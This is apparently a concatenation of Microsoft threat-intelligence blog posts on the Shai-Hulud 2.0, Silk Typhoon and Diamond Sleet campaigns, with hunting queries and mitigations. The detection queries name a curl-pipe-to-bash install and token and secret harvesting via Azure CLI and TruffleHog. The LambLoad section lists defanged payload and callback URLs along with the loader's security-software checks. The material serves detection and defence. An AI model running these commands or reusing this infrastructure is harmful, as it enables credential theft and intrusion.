| project SourceNodeId, SourceNodeLabel, SourceNodeName, keyNodeId=TargetNodeId, keyNodeLabel=TargetNodeLabel;
let T_key2identity = ExposureGraphEdges
| where EdgeLabel == 'can authenticate as'
| where SourceNodeCategories has 'key'
| where TargetNodeCategories has 'identity'
| project keyNodeId=SourceNodeId, identityNodeId=TargetNodeId;
ExposureGraphEdges
| where EdgeLabel == 'has permissions to'
| where SourceNodeCategories has 'identity'
| where TargetNodeCategories has "keys_management_service"
| join hint.strategy=shuffle kind=inner (T_key2identity) on $left.SourceNodeId==$right.identityNodeId
| join hint.strategy=shuffle kind=inner (T_src2Key) on keyNodeId
| join hint.strategy=shuffle kind=inner (ExposureGraphNodes | project NodeId, srcEntityId=EntityIds) on $left.SourceNodeId1==$right.NodeId
| join hint.strategy=shuffle kind=inner (ExposureGraphNodes | project NodeId, identityEntityId=EntityIds) on $left.identityNodeId==$right.NodeId
| join hint.strategy=shuffle kind=inner (ExposureGraphNodes | project NodeId, kmsEntityId=EntityIds) on $left.TargetNodeId==$right.NodeId
| project srcLabel=SourceNodeLabel1, srcName=SourceNodeName1, srcEntityId, keyNodeLabel, identityLabel=SourceNodeLabel,
    identityName=SourceNodeName, identityEntityId, kmsLabel=TargetNodeLabel, kmsName=TargetNodeName, kmsEntityId
| extend Path = strcat('srcLabel',' contains','keyNodeLabel',' can authenticate as', ' identityLabel', ' has permissions to', ' kmsLabel')

Setup of the GitHub runner with the malicious repository and downloads of the malicious bun.sh script that facilitates this

CloudProcessEvents
| where  (ProcessCommandLine has "--name SHA1HULUD" ) or (ParentProcessName == "node" and (ProcessName == "bash" or ProcessName == "dash" or ProcessName == "sh") and ProcessCommandLine has "curl -fsSL https://bun.sh/install | bash")
| project Timestamp, AzureResourceId, KubernetesPodName, KubernetesNamespace, ContainerName, ContainerId, ContainerImageName, ProcessName, ProcessCommandLine, ProcessCurrentWorkingDirectory, ParentProcessName, ProcessId, ParentProcessId, AccountName

Credential collection using TruffleHog and Azure CLI

CloudProcessEvents
| where (ParentProcessName == "bun" and ProcessName in ("bash","dash","sh") and ProcessCommandLine has_any("az account get-access-token","azd auth token")) or
        (ParentProcessName == "bun" and ProcessName == "tar" and ProcessCommandLine has_any ("trufflehog","truffler-cache"))
| project Timestamp, AzureResourceId, KubernetesPodName, KubernetesNamespace, ContainerName, ContainerId, ContainerImageName, ProcessName, ProcessCommandLine, ProcessCurrentWorkingDirectory, ParentProcessName, ProcessId, ParentProcessId, AccountName

Cloud security explorer

Microsoft Defender for Cloud customers can also use cloud security explorer to surface possibly compromised software packages. The following screenshot represents a query that searches for a virtual machine or repository allowing lateral movement to a key vault. View the query builder.

The security explorer templates library has been expanded with two additional queries that retrieve all container images with compromised software packages and all the running containers with these images.

Another means for security teams to proactively identify the scope of this threat is by leveraging the Cloud Security Explorer to query the granular Software Bill of Materials (SBOM) generated by agentless scanners. This capability allows you to execute dynamic, graph-based queries across your entire multi-cloud estate—including virtual machines, containers, and code repositories—to pinpoint specific software components and their versions without the need for agent deployment.

For the Shai-Hulud 2.0 campaign, you can use the Cloud Security Explorer to map your software inventory directly to the list of known malicious packages. By running targeted queries that search for the specific compromised package names identified in our threat intelligence, you can instantly visualize the blast radius of the attack within your environment. This enables you to locate every asset containing a malicious dependency and prioritize remediation efforts effectively.

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace. 

Indicators of compromise   

References

aikdo: Shai Hulud Launches Second Supply-Chain Attack: Zapier, ENS, AsyncAPI, PostHog, Postman Compromised

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Shai-Hulud 2.0: Guidance for detecting, investigating, and defending against the supply chain attack appeared first on Microsoft Security Blog.

Microsoft Threat Intelligence identified a shift in tactics by Silk Typhoon, a Chinese espionage group, now targeting common IT solutions like remote management tools and cloud applications to gain initial access. While they haven’t been observed directly targeting Microsoft cloud services, they do exploit unpatched applications that allow them to elevate their access in targeted organizations and conduct further malicious activities. After successfully compromising a victim, Silk Typhoon uses the stolen keys and credentials to infiltrate customer networks where they can then abuse a variety of deployed applications, including Microsoft services and others, to achieve their espionage objectives. Our latest blog explains how Microsoft security solutions detect these threats and offers mitigation guidance, aiming to raise awareness and strengthen defenses against Silk Typhoon’s activities.

Silk Typhoon is an espionage-focused Chinese state actor whose activities indicate that they are a well-resourced and technically efficient group with the ability to quickly operationalize exploits for discovered zero-day vulnerabilities in edge devices. This threat actor holds one of the largest targeting footprints among Chinese threat actors. Part of this is due to their opportunistic nature of acting on discoveries from vulnerability scanning operations, moving quickly to the exploitation phase once they discover a vulnerable public-facing device that they could exploit.

As a result, Silk Typhoon has been observed targeting a wide range of sectors and geographic regions, including but not limited to information technology (IT) services and infrastructure, remote monitoring and management (RMM) companies, managed service providers (MSPs) and affiliates, healthcare, legal services, higher education, defense,  government, non-governmental organizations (NGOs), energy, and others located in the United States and throughout the world.

Silk Typhoon has shown proficiency in understanding how cloud environments are deployed and configured, allowing them to successfully move laterally, maintain persistence, and exfiltrate data quickly within victim environments. Since Microsoft Threat Intelligence began tracking this threat actor in 2020, Silk Typhoon has used a myriad of web shells that allow them to execute commands, maintain persistence, and exfiltrate data from victim environments.

As with any observed nation-state threat actor activity, Microsoft has directly notified targeted or compromised customers, providing them with important information needed to secure their environments. We’re publishing this blog to raise awareness of Silk Typhoon’s recent and long-standing malicious activities, provide mitigation and hunting guidance, and help disrupt operations by this threat actor.

Recent Silk Typhoon activity

Supply chain compromise

Since late 2024, Microsoft Threat Intelligence has conducted thorough research and tracked ongoing attacks performed by Silk Typhoon. These efforts have significantly enhanced our understanding of the actor’s operations and uncovered new tradecraft used by the actor. In particular, Silk Typhoon was observed abusing stolen API keys and credentials associated with privilege access management (PAM), cloud app providers, and cloud data management companies, allowing the threat actor to access these companies’ downstream customer environments. Companies within these sectors are possible targets of interest to the threat actor. The observations below were observed once Silk Typhoon successfully stole the API key:

• Silk Typhoon used stolen API keys to access downstream customers/tenants of the initially compromised company.
• Leveraging access obtained via the API key, the actor performed reconnaissance and data collection on targeted devices via an admin account. Data of interest overlaps with China-based interests, US government policy and administration, and legal process and documents related to law enforcement investigations.
• Additional tradecraft identified included resetting of default admin account via API key, web shell implants, creation of additional users, and clearing logs of actor-performed actions.
• Thus far the victims of this downstream activity were largely in the state and local government, and the IT sector.

Password spray and abuse

Silk Typhoon has also gained initial access through successful password spray attacks and other password abuse techniques, including discovering passwords through reconnaissance. In this reconnaissance activity, Silk Typhoon leveraged leaked corporate passwords on public repositories, such as GitHub, and were successfully authenticated to the corporate account. This demonstrates the level of effort that the threat actor puts into their research and reconnaissance to collect victim information and highlights the importance of password hygiene and the use of multifactor authentication (MFA) on all accounts.

Silk Typhoon TTPs

Initial access

Silk Typhoon has pursued initial access attacks against targets of interest through development of zero-day exploits or discovering and targeting vulnerable third-party services and software providers. Silk Typhoon has also been observed gaining initial access via compromised credentials. The software or services targeted for initial access focus on IT providers, identity management, privileged access management, and RMM solutions.

In January 2025, Silk Typhoon was also observed exploiting a zero-day vulnerability in the public facing Ivanti Pulse Connect VPN (CVE-2025-0282). Microsoft Threat Intelligence Center reported the activity to Ivanti, which led to a rapid resolution of the critical exploit, significantly reducing the period that highly skilled and sophisticated threat actors could leverage the exploit.

Lateral movement to cloud

Once a victim has been successfully compromised, Silk Typhoon is known to utilize common yet effective tactics to move laterally from on-premises environments to cloud environments. Once the threat actor has gained access to an on-premises environment, they look to dump Active Directory, steal passwords within key vaults, and escalate privileges. Furthermore, Silk Typhoon has been observed targeting Microsoft AADConnect servers in these post-compromise activities. AADConnect (now Entra Connect) is a tool that synchronizes on-premises Active Directory with Entra ID (formerly Azure AD). A successful compromise of these servers could allow the actor to escalate privileges, access both on-premises and cloud environments, and move laterally.

Manipulating service principals/applications

While analyzing post-compromise tradecraft, Microsoft identified Silk Typhoon abusing service principals and OAuth applications with administrative permissions to perform email, OneDrive, and SharePoint data exfiltration via MSGraph. Throughout their use of this technique, Silk Typhoon has been observed gaining access to an application that was already consented within the tenant to harvest email data and adding their own passwords to the application. Using this access, the actors can steal email information via the MSGraph API. Silk Typhoon has also been observed compromising multi-tenant applications, potentially allowing the actors to move across tenants, access additional resources within the tenants, and exfiltrate data.

If the compromised application had privileges to interact with the Exchange Web Services (EWS) API, the threat actors were seen compromising email data via EWS.

In some instances, Silk Typhoon was seen creating Entra ID applications in an attempt to facilitate this data theft. The actors would typically name the application in a way to blend into the environment by using legitimate services or Office 365 themes.

Use of covert networks

Silk Typhoon is known to utilize covert networks to obfuscate their malicious activities. Covert networks, tracked by Microsoft as “CovertNetwork”, refer to a collection of egress IPs consisting of compromised or leased devices that may be used by one or more threat actors. Silk Typhoon was observed utilizing a covert network that is comprised of compromised Cyberoam appliances, Zyxel routers, and QNAP devices. The use of covert networks has become a common tactic among various threat actors, particularly Chinese threat actors.

Historical Silk Typhoon zero-day exploitation

Since 2021, Silk Typhoon has been observed targeting and compromising vulnerable unpatched Microsoft Exchange servers, GlobalProtect Gateway on Palo Alto Networks firewalls, Citrix NetScaler appliances, Ivanti Pulse Connect Secure appliances, and others. While not exhaustive, below are historical zero-day vulnerabilities that Silk Typhoon was observed compromising for initial access into victim environments.

GlobalProtect Gateway on Palo Alto Networks Firewalls

In March 2024, Silk Typhoon used a zero-day exploit for CVE-2024-3400 in GlobalProtect Gateway on Palo Alto Networks firewalls to compromise multiple organizations:

• CVE-2024-3400 – A command injection as a result of arbitrary file creation vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall.

Citrix NetScaler ADC and NetScaler Gateway

In early 2024, Microsoft began to observe Silk Typhoon compromising zero-day vulnerabilities within Citrix NetScaler ADC and NetScaler Gateways:

• CVE-2023-3519 – An unauthenticated remote code execution (RCE) vulnerability affecting NetScaler (formerly Citrix) Application Delivery Controller (ADC) and NetScaler Gateway

Microsoft Exchange Servers

In January 2021, Microsoft began to observe Silk Typhoon compromising zero-day vulnerabilities in Microsoft Exchange Servers. Upon discovery, Microsoft addressed those issues and issued security updates along with related guidance (related links below):

• CVE-2021-26855 – A server-side request forgery (SSRF) vulnerability in Exchange that could allow an attacker to send arbitrary HTTP requests and authenticate as the Exchange server.
• CVE-2021-26857 – An insecure deserialization vulnerability in the Unified Messaging service. Insecure deserialization is where untrusted user-controllable data is deserialized by a program. Exploiting this vulnerability gave Silk Typhoon the ability to run code as SYSTEM on the Exchange server. This requires administrator permission or another vulnerability to be exploited.
• CVE-2021-26858 – A post-authentication arbitrary file write vulnerability in Exchange. If Silk Typhoon could authenticate with the Exchange server, then it could use this vulnerability to write a file to any path on the server. It could authenticate by exploiting the CVE-2021-26855 SSRF vulnerability or by compromising a legitimate administrator’s credentials.
• CVE-2021-27065 – A post-authentication arbitrary file write vulnerability in Exchange. If Silk Typhoon could authenticate with the Exchange server, then it could use this vulnerability to write a file to any path on the server. It could authenticate by exploiting the CVE-2021-26855 SSRF vulnerability or by compromising a legitimate administrator’s credentials.

During recent activities and historical exploitation of these appliances, Silk Typhoon utilized a variety of web shells to maintain persistence and to allow the actors to remotely access victim environments.

Hunting guidance

To help mitigate and surface various aspects of recent Silk Typhoons activities, Microsoft recommends the following:

• Inspect log activity related to Entra Connect serversfor anomalousactivity.
• Where these targeted applications have highly privileged accounts, inspect service principals for newly created secrets (credentials).
• Identify and analyze any activity related to newly created applications.
• Identify all multi-tenant applications and scrutinize authentications to them.
• Analyze any observed activity related to use of Microsoft Graph or eDiscovery particularly for SharePoint or email data exfiltration
• Look for newly created users on devices impacted by vulnerabilities targeted by Silk Typhoon and investigate virtual private network (VPN) logs for evidence of VPN configuration modifications or sign-in activity during the possible window of compromise of unpatched devices.

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Microsoft Sentinel customers can use the following queries to detect behavior associated with Silk Typhoon:

• Anomalous password reset
• Privileged logon from new ASN
• Anomalous account creation
• Web shell activity
• Potential web shell
• Sign-in password spray
• Smart lockouts
• Credential dumping tools file artifacts
• NTDS theft
• Time series keyvault access anomaly
• Keyvault mass secret retrieval
• Suspicious sign-in by AADConnect account
• New service principal running queries
• SharePoint downloads by IP
• Anomaly of MailItem access by GraphAPI

Customers can use the following query to detect vulnerabilities exploited by Silk Typhoon:

DeviceTvmSoftwareVulnerabilities
| where CveId in ("CVE-2025-0282")
| project DeviceId,DeviceName,OSPlatform,OSVersion,SoftwareVendor,SoftwareName,SoftwareVersion,
CveId,VulnerabilitySeverityLevel
| join kind=inner ( DeviceTvmSoftwareVulnerabilitiesKB | project CveId, CvssScore,IsExploitAvailable,VulnerabilitySeverityLevel,PublishedDate,VulnerabilityDescription,AffectedSoftware ) on CveId
| project DeviceId,DeviceName,OSPlatform,OSVersion,SoftwareVendor,SoftwareName,SoftwareVersion,
CveId,VulnerabilitySeverityLevel,CvssScore,IsExploitAvailable,PublishedDate,VulnerabilityDescription,AffectedSoftware

Recommendations

To help detect and mitigate Silk Typhoon’s activity, Microsoft recommends the following:

• Ensure all public facing devices are patched. It’s important to note that patching a vulnerable device does not remediate any post-compromise activities by a threat actor who gained privileged access to a vulnerable device.
• Validate any Ivanti Pulse Connect VPN are patched to address CVE-2025-0282 and run the suggested Integrity Checker Tool as suggested in their Advisory. Consider terminating any active or persistent sessions following patch cycles.
• Defend against legitimate application and service principal abuse by establishing strong controls and monitoring for these security identities. Microsoft recommends the following mitigations to reduce the impact of this threat:
  • Audit the current privilege level of all identities, users, service principals, and Microsoft Graph Data Connect applications (use the Microsoft Graph Data Connect authorization portal) to understand which identities are highly privileged. Scrutinize privileges more closely if they belong to an unknown identity, belong to identities that are no longer in use, or are not fit for purpose. Admins may assign identities privileges over and above what is required. Defenders should pay attention to apps with app-only permissions as those apps might have over-privileged access. Read additional guidance for investigating compromised and malicious applications.Identify abused OAuth apps using anomaly detection policies. Detect abused OAuth apps that make sensitive Exchange Online administrative activities through Microsoft Defender for Cloud Apps. Investigate and remediate any risky OAuth apps.Review any applications that hold EWS.AccessAsUser.All and EWS.full_access_as_app permissions and understand whether they are still required in the tenant. This can be done using App governance in Microsoft Defender for Cloud Apps. If these permissions are no longer required, they should be removed.
  • If applications must access mailboxes, granular and scalable access can be implemented using role-based access control for applications in Exchange Online. This access model ensures applications are only granted to the specific mailboxes required.
• Monitor for service principal sign-ins from unusual locations. Two important reports can provide useful daily activity monitoring:
  • The risky sign-ins report surfaces attempted and successful user access activities where the legitimate owner might not have performed the sign-in. 
  • The risky users report surfaces user accounts that might have been compromised, such as a leaked credential that was detected or the user signing in from an unexpected location in the absence of planned travel. 
• Defend against credential compromise by building credential hygiene, practicing the principle of least privilege, and reducing credential exposure. Microsoft recommends the following mitigations to reduce the impact of this threat.
• Implement the Azure Security Benchmark and general best practices for securing identity infrastructure, including:
  • Prevent on-premises service accounts from having direct rights to the cloud resources to prevent lateral movement to the cloud.
  • Ensure that “break glass” account passwords are stored offline and configure honey-token activity for account usage.
  • Implement Conditional Access policies enforcing Microsoft’s Zero Trust principles.
• Enable risk-based user sign-in protection and automate threat response to block high-risk sign-ins from all locations and enable multifactor authentication (MFA) for medium-risk ones.
• Ensure that VPN access is protected using modern authentication methods.
• Identify all multi-tenant applications, assess permissions, and investigate suspicious sign-ins.

Indicators of compromise

Silk Typhoon is not known to use their own dedicated infrastructure in their operations. Typically, the threat actor uses compromised covert networks, proxies, and VPNs for infrastructure, likely to obfuscate their operations. However, they have also been observed using short-lease virtual private server (VPS) infrastructure to support their operations.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Defender for Endpoint

The following Microsoft Defender for Endpoint alerts can indicate associated threat activity:

• Silk Typhoon activity group

The following alerts might also indicate threat activity related to this threat. Note, however, that these alerts can be also triggered by unrelated threat activity.

• Possible exploitation of Exchange Server vulnerabilities
• Suspicious web shell detected
• Suspicious Active Directory snapshot dump
• Suspicious credential dump from NTDS.dit

Microsoft Defender for Identity

The following Microsoft Defender for Identity alerts can indicate associated threat activity:

• Suspicious Interactive Logon to the Entra Connect Server
• Suspicious writeback by Entra Connect on a sensitive user
• User Password Reset by Entra Connect Account
• Suspicious Entra sync password change

Microsoft Defender XDR

The following alerts might indicate threat activity related to this threat. Note, however, that these alerts can be also triggered by unrelated threat activity.

• Suspicious activities related to Azure Key Vault by a risky user

Microsoft Defender for Cloud

The following alerts might indicate threat activity related to this threat. Note, however, that these alerts can be also triggered by unrelated threat activity.

• Unusual user accessed a key vault
• Unusual application accessed a key vault
• Access from a suspicious IP to a key vault
• Denied access from a suspicious IP to a key vault

Microsoft Defender for Cloud Apps

The following Microsoft Defender for Cloud Apps alerts can indicate associated threat activity if app governance is enabled:

• Unusual addition of credentials to an OAuth app
• Suspicious credential added to dormant app
• Unused app newly accessing APIs
• App with suspicious metadata has Exchange permission
• App with an unusual user agent accessed email data through Exchange Web Services
• App with EWS application permissions accessing numerous emails
• App made anomalous Graph calls to Exchange workload post certificate update or addition of new credentials
• Suspicious user created an OAuth app that accessed mailbox items
• Suspicious OAuth app used for collection activities using Graph API
• Risky user updated an app that accessed Email and performed Email activity through Graph API
• Suspicious OAuth app email activity through Graph API
• Suspicious OAuth app email activity through EWS API

Microsoft Defender Vulnerability Management

Microsoft Defender Vulnerability Management surfaces devices that may be affected by the following vulnerabilities used in this threat:

• CVE-2021-26855
• CVE-2021-26857
• CVE-2021-26858
• CVE-2021-27065

Microsoft Defender External Attack Surface Management

Attack Surface Insights with the following title can indicate vulnerable devices on your network but is not necessarily indicative of exploitation:

• [Potential] CVE-2024-3400 – Palo Alto Networks PAN-OS Command Injection Vulnerability’
• [Potential] CVE-2023-3519 – Citrix NetScaler ADC and Gateway Unauthenticated
• ProxyLogon – Microsoft Exchange Server Vulnerabilities (Hotfix Available)

Note: An Attack Surface Insight marked as [Potential] indicates a service is running but cannot validate whether that service is running a vulnerable version. Customers should check resources to verify that they are up to date as part of their investigation.

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following pre-built promptbooks to automate incident response or investigation tasks related to this threat:

• Incident investigation
• Microsoft User analysis
• Threat actor profile
• Threat Intelligence 360 report based on MDTI article (see Threat intelligence reports below)
• Vulnerability impact assessment

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Threat intelligence reports

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender Threat Intelligence

• Silk Typhoon
• Analyzing attacks taking advantage of the Exchange Server vulnerabilities
• Vulnerability Profile: CVE-2025-0282 – Ivanti Connect Secure, Policy Secure, and ZTA Gateway

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://x.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Silk Typhoon targeting IT supply chain appeared first on Microsoft Security Blog.

Microsoft attributes this activity with high confidence to Diamond Sleet, a North Korean threat actor. The second-stage payload observed in this campaign communicates with infrastructure that has been previously compromised by Diamond Sleet. More recently, Microsoft has observed Diamond Sleet utilizing trojanized open-source and proprietary software to target organizations in information technology, defense, and media.

To address the potential risk of further attacks against our customers, Microsoft has taken the following steps to protect customers in response to this malicious activity:

• Microsoft has communicated this supply chain compromise to CyberLink 
• Microsoft is notifying Microsoft Defender for Endpoint customers that have been targeted or compromised in this campaign
• Microsoft reported the attack to GitHub, which removed the second-stage payload in accordance with its Acceptable Use Policies
• Microsoft has added the CyberLink Corp. certificate used to sign the malicious file to its disallowed certificate list
• Microsoft Defender for Endpoint detects this activity as Diamond Sleet activity group.
• Microsoft Defender Antivirus detects the malware as Trojan:Win32/LambLoad.

Microsoft may update this blog as additional insight is gained into the tactics, techniques, and procedures (TTPs) used by the threat actor in this active and ongoing campaign.

Who is Diamond Sleet?

The actor that Microsoft tracks as Diamond Sleet (formerly ZINC) is a North Korea-based activity group known to target media, defense, and information technology (IT) industries globally. Diamond Sleet focuses on espionage, theft of personal and corporate data, financial gain, and corporate network destruction. Diamond Sleet is known to use a variety of custom malware that is exclusive to the group. Recent Diamond Sleet malware is described in Microsoft’s reporting of the group’s weaponization of open source software and exploitation of N-day vulnerabilities. Diamond Sleet overlaps with activity tracked by other security companies as Temp.Hermit and Labyrinth Chollima.

Activity overview

Microsoft has observed suspicious activity associated with the modified CyberLink installer file as early as October 20, 2023. The malicious file has been seen on over 100 devices in multiple countries, including Japan, Taiwan, Canada, and the United States. While Microsoft has not yet identified hands-on-keyboard activity carried out after compromise via this malware, the group has historically:

• Exfiltrated sensitive data from victim environments
• Compromised software build environments
• Moved downstream to additional victims for further exploitation
• Used techniques to establish persistent access to victim environments

Diamond Sleet utilized a legitimate code signing certificate issued to CyberLink Corp. to sign the malicious executable. This certificate has been added to Microsoft’s disallowed certificate list to protect customers from future malicious use of the certificate:

Signer: CyberLink Corp. 
Issuer: DigiCert SHA2 Assured ID Code Signing CA 
SignerHash: 8aa3877ab68ba56dabc2f2802e813dc36678aef4 
CertificateSerialNumber: 0a08d3601636378f0a7d64fd09e4a13b

Microsoft currently tracks the malicious application and associated payloads as LambLoad.

LambLoad

LambLoad is a weaponized downloader and loader containing malicious code added to a legitimate CyberLink application. The primary LambLoad loader/downloader sample Microsoft identified has the SHA-256 hash 166d1a6ddcde4e859a89c2c825cd3c8c953a86bfa92b343de7e5bfbfb5afb8be.

Before launching any malicious code, the LambLoad executable ensures that the date and time of the local host align with a preconfigured execution period.

The loader then targets environments that are not using security software affiliated with FireEye, CrowdStrike, or Tanium by checking for the following process names:

• csfalconservice.exe (CrowdStrike Falcon)
• xagt.exe (FireEye agent)
• taniumclient.exe (Tanium EDR solution)

If these criteria are not met, the executable continues running the CyberLink software and abandons further execution of malicious code. Otherwise, the software attempts to contact one of three URLs to download the second-stage payload embedded inside a file masquerading as a PNG file using the static User-Agent ‘Microsoft Internet Explorer’:

• hxxps[:]//i.stack.imgur[.]com/NDTUM.png
• hxxps[:]//www.webville[.]nethttps://www.microsoft.com/images/CL202966126.png
• hxxps[:]//cldownloader.github[.]io/logo.png

The PNG file contains an embedded payload inside a fake outer PNG header that is, carved, decrypted, and launched in memory.

When invoked, the in-memory executable attempts to contact the following callbacks for further instruction. Both domains are legitimate but have been compromised by Diamond Sleet:

• hxxps[:]//mantis.jancom[.]pl/bluemantis/image/addon/addin.php
• hxxps[:]//zeduzeventos.busqueabuse[.]com/wp-adminhttps://www.microsoft.com/js/widgets/sub/wids.php

The crypted contents of the PNG file (SHA-256: 089573b3a1167f387dcdad5e014a5132e998b2c89bff29bcf8b06dd497d4e63d) may be manually carved using the following command:

To restore the in-memory payload statically for independent analysis, the following Python script can be used to decrypt the carved contents.

To crypt and verify:

Both the fake PNG and decrypted PE payload have been made available on VirusTotal.

Recommendations

Microsoft recommends the following mitigations to reduce the impact of this threat. Check the recommendations card for the deployment status of monitored mitigations.

• Use Microsoft Defender Antivirus to protect from this threat. Turn on cloud-delivered protection and automatic sample submission on Microsoft Defender Antivirus. These capabilities use artificial intelligence and machine learning to quickly identify and stop new and unknown threats.
• Enable network protection to prevent applications or users from accessing malicious domains and other malicious content on the internet.
• Enable investigation and remediation in full automated mode to allow Microsoft Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume.
• Take immediate action to address malicious activity on the impacted device. If malicious code has been launched, the attacker has likely taken complete control of the device. Immediately isolate the system and perform a reset of credentials and tokens.
• Investigate the device timeline for indications of lateral movement activities using one of the compromised accounts. Check for additional tools that attackers might have dropped to enable credential access, lateral movement, and other attack activities. Ensure data integrity with hash codes.
• Turn on the following attack surface reduction rule: Block executable files from running unless they meet a prevalence, age, or trusted list criterion.

Detection details

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects threat components as the following malware:

• Trojan:Win32/LambLoad.A!dha
• Trojan:Win32/LambLoad.B!dha
• Trojan:Win32/LambLoad.C!dha
• Trojan:Win64/LambLoad.D!dha
• Trojan:Win64/LambLoad.E!dha

Microsoft Defender for Endpoint

Alerts with the following title in the security center can indicate threat activity on your network:

• Diamond Sleet activity group

The following alert might also indicate threat activity related to this threat. Note, however, that this alert can be also triggered by unrelated threat activity.

• An executable loaded an unexpected dll

Threat intelligence reports

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender Threat Intelligence

• Diamond Sleet
• Diamond Sleet supply chain compromise at distributes a modified CyberLink installer

Microsoft Defender XDR Threat analytics 

• Actor profile: Diamond Sleet
• Activity profile: Diamond Sleet supply chain compromise at distributes a modified CyberLink installer

Hunting queries

Microsoft Defender XDR  

Microsoft Defender XDR (formerly Microsoft 365 Defender) customers can run the following query to find related activity in their networks:

let iocs = dynamic(["166d1a6ddcde4e859a89c2c825cd3c8c953a86bfa92b343de7e5bfbfb5afb8be",
"089573b3a1167f387dcdad5e014a5132e998b2c89bff29bcf8b06dd497d4e63d",
"915c2495e03ff7408f11a2a197f23344004c533ff87db4b807cc937f80c217a1"]);
DeviceFileEvents
| where ActionType == "FileCreated"
| where SHA256 in (iocs)
| project Timestamp, DeviceName, FileName, FolderPath, SHA256

Microsoft Defender XDR and Microsoft Sentinel

This query can be used in both Microsoft Defender XDR advanced hunting and Microsoft Sentinel Log Analytics. It surfaces devices where the modified CyberLink installer can be found.

DeviceFileCertificateInfo
| where Signer contains "CyberLink Corp"
| where CertificateSerialNumber == "0a08d3601636378f0a7d64fd09e4a13b"
| where SignerHash == "8aa3877ab68ba56dabc2f2802e813dc36678aef4"
| join DeviceFileEvents on SHA1
| distinct DeviceName, FileName, FolderPath, SHA1, SHA256, IsTrusted, IsRootSignerMicrosoft, SignerHash

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

The following YAMLs contain queries that surface activities related to this attack:

• Uncommon processes
• Windows installer packages
• Process entropy
• Rare process path
• Device network events with low-count FQDN

Indicators of compromise

The list below provides IOCs observed during our investigation. We encourage our customers to investigate these indicators in their environments and implement detections and protections to identify past related activity and prevent future attacks against their systems.

Further reading

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

The post Diamond Sleet supply chain compromise distributes a modified CyberLink installer appeared first on Microsoft Security Blog.

In past operations, Diamond Sleet and other North Korean threat actors have successfully carried out software supply chain attacks by infiltrating build environments. Given this, Microsoft assesses that this activity poses a particularly high risk to organizations who are affected. JetBrains has released an update to address this vulnerability and has developed a mitigation for users who are unable to update to the latest software version.

While the two threat actors are exploiting the same vulnerability, Microsoft observed Diamond Sleet and Onyx Sleet utilizing unique sets of tools and techniques following successful exploitation. Based on the profile of victim organizations affected by these intrusions, Microsoft assesses that the threat actors may be opportunistically compromising vulnerable servers. However, both actors have deployed malware and tools and utilized techniques that may enable persistent access to victim environments.

As with any observed nation-state actor activity, Microsoft directly notifies customers that have been targeted or compromised and provides them with the information they need to secure their environments.

Who are Diamond Sleet and Onyx Sleet?

Diamond Sleet (ZINC) is a North Korean nation-state threat actor that prioritizes espionage, data theft, financial gain, and network destruction. The actor typically targets media, IT services, and defense-related entities around the world. Microsoft reported on Diamond Sleet’s targeting of security researchers in January 2021 and the actor’s weaponizing of open-source software in September 2022. In August 2023, Diamond Sleet conducted a software supply chain compromise of a German software provider.

Onyx Sleet (PLUTONIUM) is a North Korean nation-state threat actor that primarily targets defense and IT services organizations in South Korea, the United States, and India. Onyx Sleet employs a robust set of tools that they have developed to establish persistent access to victim environments and remain undetected. The actor frequently exploits N-day vulnerabilities as a means of gaining initial access to targeted organizations.

Diamond Sleet attack path 1: Deployment of ForestTiger backdoor

